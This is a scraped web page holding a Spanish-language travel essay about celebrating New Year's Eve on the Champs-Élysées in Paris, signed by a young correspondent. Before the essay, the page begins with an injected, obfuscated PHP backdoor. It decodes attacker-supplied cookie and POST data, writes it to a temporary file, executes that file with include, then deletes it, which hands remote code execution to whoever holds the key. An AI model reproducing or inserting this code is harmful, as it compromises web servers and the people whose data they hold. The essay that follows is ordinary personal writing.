$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> De Bogotá a París – www.interferencechannel.com

De Bogotá a París

 

Se dice que viajar aleja de la rutina, quita el estrés, hace escapar a un lugar desconocido y vivir diferentes experiencias, emociones, sentimientos y un millón de cosas más. Para mí, viajar va más allá de estas frases. Aparte de ser una de mis pasiones y motivaciones, viajar es una forma de conocer diferentes expectativas y puntos de vista de los tantos millones que hay; me permite conocer culturas, idiomas, comida más de cerca, hacer amigos, abrir la mente, dejar aquellas superficialidades y banalidades que existen, llenar la vida de historias que contar, de anécdotas que suceden, porque al final es lo único que queda.

París, la llamada ciudad del amor, de aquellos amores que se juran amor eterno (sin ser masoquista, quién sabe si realmente duren siglos), es más que esto, claro, como cada ciudad y país tiene su atracción, pero realmente no entiendo qué ha hecho esta ciudad para dejarme enamorada de sus calles, personas, lugares, comida, sensaciones y hasta puedo seguir nombrando las infinitas sensaciones que me produce el estar en parís.

Pasar de caminar por la séptima y los alrededores de mi universidad (la javeriana), de observar el tráfico y los autos, escuchar los pitos, las sirenas, ver el ajetreo universitario y laboral, pase a caminar por los campos elíseos, la arteria más bella de parís. Fue el treinta y uno de diciembre, aquel último día del año, donde se dejan atrás aquellas experiencias vividas (o tal vez se tomen como enseñanzas) para comenzar de nuevo, vaya, y que gran comienzo en esta magnífica ciudad.

Iba a recibir el nuevo año en el arco del triunfo, tome el metro desde “la defense“como siempre, me baje en la estación cercana a la plaza de la concordia, camine por una rotonda, tome varias fotos de la imponente Torre Eiffel y emprendí mi caminata por los campos elíseos, fue una caminata distinta, no era un día como los anteriores, este era diferente, era el último día del año y se sentía algo diferente, era nostalgia, alegría, que a su vez estaban cargadas de recuerdos y reflexiones. Había mucha gente, muchos controles de la policía, ruidos, gritos, pero de alegría. Realmente iba caminando con ese cosquilleo, alegría, emoción que siento al vivir algo diferente a lo cotidiano, y es que cuando uno viaja, vive cada día algo fuera de lo normal, algo loco, chistoso, algo que queda en la memoria.

Caminaba maravillada, mirando de lado a lado, observando las luces, los locales muy típicos hechos en madera que estaban decorados con adornos de navidad, miles de papás noel, los anuncios de los famosos crepes, el delicioso vino caliente, las grandes tiendas. Seguí caminando emocionada y pensando en todo lo que había vivido en el año, en aquellas experiencias vividas, oportunidades, en mis amigos, mi familia, en los nuevos mejores amigos y aquellos nuevos extraños y desconocidos, en el lugar en el que me encontraba en ese momento, realmente era algo inexpresable. Caminaba y caminaba, hasta que al fin llegue al arco del triunfo, aquel arco imponente donde se reflejaba la bandera de Francia. Después de un tiempo sonó “la marsellesa“ y comenzó la cuenta regresiva, que por cierto se escuchaban los números en cientos de idiomas, 5, 4, 3, 2 ,1, “bonne anée“, grite con todas mis fuerzas el “bonne année`´y los números. Recuerdo que al primero que le di el feliz año, fue a un árabe, quien estaba al lado mío, y hasta nos tomamos una foto, después a mi tía quien estaba al borde de los campos elíseos y continúe con unos asiáticos que estaban igualmente al borde (estos sujetos me decían algo pero no logré entender). Recordaba mucho a los colombianos y como solemos actuar en este tipo de celebraciones, la música, el ambiente, la efusividad notoria, porque había varios y era algo muy notorio, por aquel espíritu que nos caracteriza. Después del cambio de año, había miles de besos, abrazos, felicitaciones, sonrisas, llantos de alegría, bailes, también grababan ¨snaps¨ con todos los extranjeros. Algo que me llamó la atención fue ver a varias francesas con un letrero que decía “free kisses“.

cada detalle contó para que este momento quede grabado. París, le hace ablandar el corazón hasta al más duro, por esto, parís siempre será una buena idea. Cada experiencia es un aprendizaje, tengo 19 años y espero poder vivir miles de experiencias, viajar, aprender, hacer nuevos amigos, probar miles de platos, reír, llorar, enamorarme y hasta sufrir por amor. Espero llegar a vieja y tener miles de historias y anécdotas que contar, sentir la satisfacción de haber vivido la vida.♦

Valentina Espinosa Almansa.

Valentina es corresponsal de Interference Channel 

Comments are closed.